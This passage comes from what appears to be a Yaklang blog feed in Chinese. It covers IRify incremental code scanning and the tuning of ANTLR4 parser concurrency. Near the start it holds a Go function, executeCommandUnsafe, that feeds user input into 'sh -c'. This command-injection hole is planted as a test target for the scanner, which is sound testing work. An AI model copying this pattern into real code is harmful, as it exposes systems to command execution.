plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    w</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Set</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Content-Type"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"text/plain; charset=utf-8"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Fprint</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> output</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">funcexecuteCommandUnsafe</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">userInput </span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token builtin">error</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    cmd </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> exec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Command</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"sh"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"-c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"echo "</span><span class="token operator" style="color:#393A34">+</span><span class="token plain">userInput</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    output</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> cmd</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">CombinedOutput</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Errorf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"command execution failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">output</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>在项目历史的变量历史中可以发现两个项目，其中旧项目为基项目而新项目为增量项目（PS：后续版本中会考虑优化前端显示，目前版本无法区分普通项目和增量项目）。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8fe7fc7d68e71f50-ad2959d9c7e1afb679e839d82aabdb3b.png" width="1080" height="577" class="yakdoc-image"></button></p>
<p>上述测试中进行了两次扫描，第一次发生在基项目中，第二次发生在增量项目中，差异文件只有<code>unsafe.go</code>。</p>
<p>测试验证了增量扫描的跨项目聚合能力。在增量项目中，虽然只有 <code>unsafe.go</code>文件发生变更并触发重新编译，但系统通过项目聚合机制，在最终结果中完整呈现了包含基项目 <code>main.go</code>文件在内的文件树。这确保了增量分析的高效性与结果完整性的统一。</p>
<p>这里对新增漏洞显示进行了优化，解决了新增漏洞的显示范围受限问题。现在，当对增量项目进行扫描时，系统能够<strong>跨项目边界</strong>显示<strong>新增漏洞</strong>，确保新增漏洞的上下文信息完整呈现。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在项目配置中手动增量编译">在项目配置中手动增量编译<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E5%9C%A8%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%E4%B8%AD%E6%89%8B%E5%8A%A8%E5%A2%9E%E9%87%8F%E7%BC%96%E8%AF%91" class="hash-link" aria-label="在项目配置中手动增量编译的直接链接" title="在项目配置中手动增量编译的直接链接" translate="no">​</a></h2>
<p>除了自动增量编译以外，还可以手动指定某个项目并进行增量编译，在 <code>SSA 项目探测.yak</code>脚本开放的编译选项存在<code>基础程序名称</code>的输入框，在这里输入某个项目的<strong>全名</strong>就会设置本次编译为基于该项目的增量编译。</p>
<p>注意：这里需要输入项目在数据库中的<strong>全名</strong>以精确定位项目，目前前端没有展示项目的<strong>全名</strong>，在后续版本中会进行优化。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="后续版本的优化">后续版本的优化<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E5%90%8E%E7%BB%AD%E7%89%88%E6%9C%AC%E7%9A%84%E4%BC%98%E5%8C%96" class="hash-link" aria-label="后续版本的优化的直接链接" title="后续版本的优化的直接链接" translate="no">​</a></h2>
<p>目前增量编译还处于测试阶段，我们正在计划监控一些开源项目并定期进行增量编译。在我们的 CI 中已经有差异文件系统的部分监控，可以在每个 PR 合并之前自动运行 <code>golang syntaxflow rule</code>的规则扫描（详情可以查看 <code>diff-code-check.yml</code>）。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/keU8EUIZzG8EKTNiVOcxBw" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
        </item>
        <item>
            <title><![CDATA[性能优化：IRify ANTLR4 Go 运行时高并发解析调优（四）]]></title>
            <link>https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4</link>
            <guid>https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4</guid>
            <pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[【前文回顾】]]></description>
            <content:encoded><![CDATA[<p>【前文回顾】</p>
<p><strong><a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247528413&amp;idx=1&amp;sn=fe35bf5a9c6bfb01e6d69b2da71af55b&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" class="">第一篇：解决 I/O 瓶颈</a></strong></p>
<p>在 IRify 性能优化的第一篇文章中，我们介绍了如何通过将指令间的直接指针引用迁移为持久化 ID，并引入异步的 Fetch 和 Save 机制，解决了数据库持久化模式下的 I/O 瓶颈，带来了约 20% 的性能提升。</p>
<p><strong><a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247528629&amp;idx=1&amp;sn=93e6de144aff65590da8adedf23329b6&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" class="">第二篇：重构并发模型</a></strong></p>
<p>第二篇文章则聚焦于并发优化。当后端持久化不再是主要制约因素后，我们通过构建一个高效的异步处理管道（Pipe），重塑了前端编译流程，并完善了后端并发模型，将 IRify 转变为一个高并发编译引擎。</p>
<p><strong><a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529017&amp;idx=1&amp;sn=12b8e1576324391ac1ce925710b590e1&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" class="">第三篇：深度内存治理</a></strong></p>
<p>第三篇文章详细复盘了“内存扫描模式”下的性能缺陷。我们通过 pprof 的差异分析建立了可靠的“侦测-验证”反馈循环，引入了懒加载机制优化错误处理与 SSA 结构，并解决了 ANTLR 全局缓存与闭包捕获导致的幽灵引用，最终将 3GB+ 的内存占用优化至 500MB 级别。</p>
<p>【本文-第四篇】</p>
<blockquote>
<p>本文讲解的优化已经在： PR <a href="https://github.com/yaklang/yaklang/pull/3373" target="_blank" rel="noopener noreferrer" class="">#3373</a> 中合并在yaklang 1.4.4-beta8 (25.10.24日)发布</p>
</blockquote>
<blockquote>
<p>在解决了 I/O、并发管线与内存治理等系统级问题后，我们迎来了性能优化的“最后一公里”：前端解析引擎（ANTLR4）的深水区调优。</p>
<p>在完成之前的优化以后，我们的 Antlr-YakSSA 解析系统提高了极大的并发性能，而新的瓶颈来自于 Antlr 解析。通过测试我们逐步排查到，在处理大批量文件时，Antlr 的解析出现了严重的长尾延迟现象。本文将深入拆解 ANTLR4 生成代码中的“单例陷阱”，剖析全局 ATN 锁如何在高并发环境下变成事实上的“单行道”，并介绍我们如何通过全组件隔离架构，彻底释放多核 CPU 的并行解析潜力。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="初始困境巨大的并发瓶颈">初始困境：巨大的并发“瓶颈”<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E5%88%9D%E5%A7%8B%E5%9B%B0%E5%A2%83%E5%B7%A8%E5%A4%A7%E7%9A%84%E5%B9%B6%E5%8F%91%E7%93%B6%E9%A2%88" class="hash-link" aria-label="初始困境：巨大的并发“瓶颈”的直接链接" title="初始困境：巨大的并发“瓶颈”的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="内存扫描模式">内存扫描模式<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E5%86%85%E5%AD%98%E6%89%AB%E6%8F%8F%E6%A8%A1%E5%BC%8F" class="hash-link" aria-label="内存扫描模式的直接链接" title="内存扫描模式的直接链接" translate="no">​</a></h2>
<p>在完成之前的优化以后，我们的 Antlr-YakSSA 解析系统提高了极大的并发性能，而新的瓶颈来自于 Antlr 解析。通过测试我们逐步排查到，在处理大批量文件时，Antlr 的解析出现了严重的长尾延迟现象。</p>
<p>在对某真实项目进行测试时，我们捕捉到了极度异常的解析耗时。一些体积很小的文件，其 Antlr 解析 AST 的时间却远超预期，甚至比大文件慢数倍。这违背了“文件越大解析越慢”的线性常识，暗示系统内部存在严重的资源争抢。</p>
<p><strong>测试中出现的代码 AST 解析情况：</strong></p>






























<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>文件名</th><th>大小</th><th>耗时</th></tr></thead><tbody><tr><td><strong>status_dhcpv6_leases.php</strong></td><td><strong>26.59KB</strong></td><td><strong>1m 8.8s</strong></td></tr><tr><td>firewall_rules.php</td><td>45.02KB</td><td>51.35s</td></tr><tr><td>services_dhcpv6.php</td><td>54.52KB</td><td>43.32s</td></tr><tr><td>interfaces.php</td><td>148.75KB</td><td>30.05s</td></tr></tbody></table></div></div>
<p><strong>其中 status_dhcpv6_leases.php 只有 26 KB，却比 148KB 的文件慢一倍。现象分析：</strong></p>
<p>1、<strong>锁竞争（Lock Contention）</strong>：</p>
<p>pprof 显示 CPU 大量时间消耗在 <code>sync.Mutex.Lock</code> 和 <code>RWMutex.RUnlock</code> 上。</p>
<p><strong>2、非线性衰减：</strong></p>
<p><code>status_dhcpv6_leases.php</code> 的案例表明，当并发度达到一定阈值，解析器的吞吐量会发生断崖式下跌。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="深度分析antlr4生成代码的单例陷阱">深度分析：ANTLR4生成代码的“单例陷阱”<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90antlr4%E7%94%9F%E6%88%90%E4%BB%A3%E7%A0%81%E7%9A%84%E5%8D%95%E4%BE%8B%E9%99%B7%E9%98%B1" class="hash-link" aria-label="深度分析：ANTLR4生成代码的“单例陷阱”的直接链接" title="深度分析：ANTLR4生成代码的“单例陷阱”的直接链接" translate="no">​</a></h2>
<p>为了找到根源，我们深入查阅了 ANTLR4 生成的 Go 目标代码。我们发现 ANTLR 的设计模式在处理高并发场景时存在一个隐蔽的架构陷阱：<strong>全局共享 ATN</strong>。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="antlr生成的代码逻辑">Antlr生成的代码逻辑<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#antlr%E7%94%9F%E6%88%90%E7%9A%84%E4%BB%A3%E7%A0%81%E9%80%BB%E8%BE%91" class="hash-link" aria-label="Antlr生成的代码逻辑的直接链接" title="Antlr生成的代码逻辑的直接链接" translate="no">​</a></h3>
<p>ANTLR4 生成的 Parser 代码通常遵循“单例模式”来管理状态机数据。以 PHP Parser 为例，生成的代码结构大致如下：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// 默认生成的代码片段示意</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">var</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 这是一个包级别的全局变量！</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 所有的 Parser 实例都会共享这份 ATN 数据</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    phpparserParserStaticData </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">ParserStaticData</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        serializedATN</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token builtin">int32</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic">// ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">funcNewPHPParser</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">input antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">TokenStream</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">PHPParser </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 这里的 Interpreter 虽然是 new 出来的</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 但是它内部引用的 ATN 对象却是全局共享的 phpparserParserStaticData.atn</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">PHPParser</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        BaseParser</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">NewBaseParser</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">input</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        Interpreter</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">NewParserATNSimulator</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> phpparserParserStaticData</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">atn</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="为什么共享-atn-会导致死锁">为什么共享 ATN 会导致死锁？<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E4%B8%BA%E4%BB%80%E4%B9%88%E5%85%B1%E4%BA%AB-atn-%E4%BC%9A%E5%AF%BC%E8%87%B4%E6%AD%BB%E9%94%81" class="hash-link" aria-label="为什么共享 ATN 会导致死锁？的直接链接" title="为什么共享 ATN 会导致死锁？的直接链接" translate="no">​</a></h3>
<p>尽管我们在逻辑上为每个协程创建了新的 <code>PHPParser</code> 实例，但它们内部的解释器（ATNSimulator）共享了同一个 ATN 对象。</p>
<p>在解析过程中，ANTLR 会动态地将 DFA（确定性有限自动机）状态缓存到 ATN 中，以便加速后续的预测。为了保证线程安全，ANTLR 运行时在读写这个共享的 ATN 缓存时，必须加锁（通常是 <code>stateMu</code>）。</p>
<p><strong>后果：</strong></p>
<p>在高并发环境下，成百上千个协程试图同时修改这个全局唯一的 ATN 缓存。这个保护锁瞬间变成了“事实上的单行道”，导致所有 Worker 线程都在排队等待锁释放，多核优势瞬间化为乌有。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="解决方案全组件隔离与无锁并行">解决方案：全组件隔离与无锁并行<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E5%85%A8%E7%BB%84%E4%BB%B6%E9%9A%94%E7%A6%BB%E4%B8%8E%E6%97%A0%E9%94%81%E5%B9%B6%E8%A1%8C" class="hash-link" aria-label="解决方案：全组件隔离与无锁并行的直接链接" title="解决方案：全组件隔离与无锁并行的直接链接" translate="no">​</a></h2>
<p>为了彻底解决这个问题，我们必须打破这种“伪单例”模式，实施“彻底隔离”策略。核心思想是：<strong>为每个并发 Worker 维护一份完全独立的、私有的解析环境</strong>。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="核心数据结构antlrcache">核心数据结构：AntlrCache<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E6%A0%B8%E5%BF%83%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84antlrcache" class="hash-link" aria-label="核心数据结构：AntlrCache的直接链接" title="核心数据结构：AntlrCache的直接链接" translate="no">​</a></h2>
<p>我们在：<code>common/yak/ssa/extra_file_analyzer.go</code>中引入了 <code>AntlrCache</code>。</p>
<p>它持有 Lexer 和 Parser 所需的全套状态机副本，确保这些对象只在当前 Worker 内部可见，从而彻底消除了跨协程的锁竞争。</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// common/yak/ssa/extra_file_analyzer.go</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">type</span><span class="token plain"> AntlrCache </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Lexer 状态隔离</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    LexerATN                    </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ATN</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    LexerDfaCache               </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">DFA</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    LexerPredictionContextCache </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">PredictionContextCache</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Parser 状态隔离</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ParserATN                    </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ATN</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ParserDfaCache               </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">DFA</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ParserPredictionContextCache </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">antlr</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">PredictionContextCache</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 核心工厂方法：通过反序列化 ATN 数据，为每个 Worker 创建独享的副本</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">funccreateAntlrCache</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">lexer</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> parser </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token builtin">int32</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">AntlrCache </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    cache </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">AntlrCache</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 反序列化得到私有的 ATN 实例</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 创建私有的 DFA 缓存表</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 创建私有的 PredictionContextCache</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ... 具体初始化逻辑 ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> cache</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="注入逻辑接管解释器创建">注入逻辑：接管解释器创建<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E6%B3%A8%E5%85%A5%E9%80%BB%E8%BE%91%E6%8E%A5%E7%AE%A1%E8%A7%A3%E9%87%8A%E5%99%A8%E5%88%9B%E5%BB%BA" class="hash-link" aria-label="注入逻辑：接管解释器创建的直接链接" title="注入逻辑：接管解释器创建的直接链接" translate="no">​</a></h2>
<p>为了让 Parser 使用我们的私有缓存，而不是生成的全局变量，我们在 <code>common/yak/antlr4go/parser/utils.go</code> 等文件中重写了 <code>SetInterpreter</code> 方法，并配合 <code>ParserSetAntlrCache</code> 工具函数进行注入。</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// 强制替换 Interpreter，使用 AntlrCache 中线程私有的 ATN 和 DFA</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">func</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">ParserSetAntlrCache</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">parser</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> lexer </span><span class="token class-name">LexerOrParser</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cache </span><span class="token operator" style="color:#393A34">*</span><span class="token class-name">AntlrCache</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">Empty</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 关键点：将私有的 Cache 注入到 Parser 中</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    parser</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">SetInterpreter</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">ParserATN</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">ParserDfaCache</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">ParserPredictionContextCache</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    lexer</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">SetInterpreter</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">LexerATN</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> 